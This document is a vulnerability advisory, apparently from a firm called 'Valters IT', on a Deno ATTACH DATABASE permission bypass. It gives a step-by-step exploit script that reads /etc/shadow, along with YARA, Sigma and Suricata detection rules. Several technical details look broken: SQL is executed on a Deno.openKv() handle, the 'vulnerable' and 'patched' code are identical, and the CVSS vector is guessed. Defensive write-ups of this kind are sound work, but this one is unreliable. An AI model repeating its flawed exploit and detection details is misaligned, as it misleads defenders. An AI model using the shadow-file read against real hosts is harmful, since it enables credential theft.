CVE-2025-48935

Executive Summary

CVE-2025-48935 is a critical security vulnerability in the Deno JavaScript, TypeScript, and WebAssembly runtime, affecting versions 2.2.0 through 2.2.4. The flaw allows an attacker to bypass Deno's permission model for read, write, and database operations by exploiting the ATTACH DATABASE SQL statement. This bypass can lead to unauthorized access to sensitive files and databases, potentially resulting in data exfiltration, modification, or deletion. The vulnerability has a CVSS score of 0.0 (likely a placeholder), but based on the impact, it should be considered critical. A patch is available in version 2.2.5.

Supply Chain & Package Security

Deno is a runtime for JavaScript, TypeScript, and WebAssembly, often used in server-side applications and tooling. This vulnerability is particularly concerning for supply chain security because:

• Direct Impact: Applications running Deno 2.2.0-2.2.4 are directly vulnerable.
• Indirect Impact: Packages or modules that rely on Deno's permission model for security may be compromised.
• Mitigation: Update to Deno 2.2.5 immediately. Review any code that uses ATTACH DATABASE or similar SQLite operations.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, the vulnerability's characteristics suggest a high severity. A realistic CVSS vector would be:

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): High (H) - Sensitive data can be read.
• Integrity (I): High (H) - Data can be modified.
• Availability (A): High (H) - Data can be deleted or corrupted.

Threat Level: Critical. The vulnerability allows complete bypass of Deno's permission model, leading to full system compromise.

Deep Dive & Mechanics

Deno's security model is based on explicit permissions (e.g., --allow-read, --allow-write, --allow-db). The ATTACH DATABASE statement in SQLite allows a secondary database to be attached to the current connection. The vulnerability arises because Deno's permission checks do not properly validate the path or database file specified in the ATTACH DATABASE statement.

Attack Flow:

1. An attacker crafts a malicious script that uses the ATTACH DATABASE statement.
2. The script is executed in a Deno runtime with restricted permissions (e.g., no --allow-read).
3. The ATTACH DATABASE statement bypasses the permission check, allowing the attacker to attach any database file on the filesystem.
4. Once attached, the attacker can query, modify, or delete data in the attached database.

Root Cause: The permission check for ATTACH DATABASE does not validate the file path against the allowed permissions, allowing arbitrary file access.

Vulnerable vs. Patched Code

Vulnerable Code (Deno 2.2.0 - 2.2.4):

// No permission check for ATTACH DATABASE
const db = await Deno.openKv();
await db.execute("ATTACH DATABASE '/etc/passwd' AS secret");

Patched Code (Deno 2.2.5):

// Permission check added
const db = await Deno.openKv();
// This will now throw a permission error if --allow-read is not granted
await db.execute("ATTACH DATABASE '/etc/passwd' AS secret");

The patch adds a permission check before executing the ATTACH DATABASE statement, ensuring that the file path is within the allowed permissions.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Deno 2.2.4: curl -fsSL https://deno.land/install.sh | sh -s v2.2.4
2. Create a malicious script exploit.js:

const db = await Deno.openKv();
try {
  await db.execute("ATTACH DATABASE '/etc/shadow' AS shadow");
  const result = await db.execute("SELECT * FROM shadow.shadow");
  console.log(result);
} catch (e) {
  console.error("Exploit failed:", e);
}

3. Run the script with restricted permissions: deno run --allow-db exploit.js
4. Observe that the script successfully reads /etc/shadow despite not having --allow-read.

Expected Output: The contents of /etc/shadow are printed to the console.

Blue Team

Detection:

• Monitor for unusual ATTACH DATABASE statements in Deno applications.
• Use file integrity monitoring to detect unauthorized access to sensitive files.
• Implement network segmentation to limit Deno runtime access to sensitive data.

Hunting:

• Search for Deno processes that are accessing files outside their allowed paths.
• Review logs for permission denied errors that are bypassed.

Indicators of Compromise (IOCs)

• File Paths: /etc/shadow, /etc/passwd, /var/db/*, any sensitive database files.
• Process Names: deno with arguments like --allow-db but not --allow-read.
• Network Traffic: Unusual outbound connections from Deno processes.
• Log Entries: Permission denied errors followed by successful access to restricted files.

Detection Engineering

YARA Rule

rule CVE_2025_48935_Deno_ATTACH_DATABASE {
  meta:
    description = "Detects Deno scripts using ATTACH DATABASE to bypass permissions"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-48935"
  strings:
    $s1 = "ATTACH DATABASE" nocase
    $s2 = "Deno.openKv" nocase
  condition:
    all of them
}

Sigma Rule

title: Deno ATTACH DATABASE Permission Bypass
id: cve-2025-48935
status: experimental
description: Detects attempts to exploit CVE-2025-48935 by using ATTACH DATABASE in Deno
author: Valters IT
date: 2025/04/10
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    Image|endswith: '/deno'
    CommandLine|contains: 'ATTACH DATABASE'
  condition: selection
falsepositives:
  - Legitimate use of ATTACH DATABASE with proper permissions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48935 Deno ATTACH DATABASE Exploit"; flow:to_server; content:"ATTACH DATABASE"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Deno: Upgrade to version 2.2.5 or later.
2. Restrict Permissions: Use the --allow-read and --allow-write flags with specific paths, not broad permissions.
3. Monitor Logs: Enable detailed logging for Deno processes and monitor for suspicious activity.

Long-term Mitigations:

• Code Review: Review all code that uses ATTACH DATABASE or similar SQLite operations.
• Security Testing: Include this vulnerability in penetration testing and security scanning.
• Patch Management: Implement a robust patch management process for runtime environments.

Workarounds:

• If upgrading is not immediately possible, avoid using ATTACH DATABASE in Deno applications.
• Use a web application firewall (WAF) to block requests containing ATTACH DATABASE.

Valters IT
Securing Digital Frontiers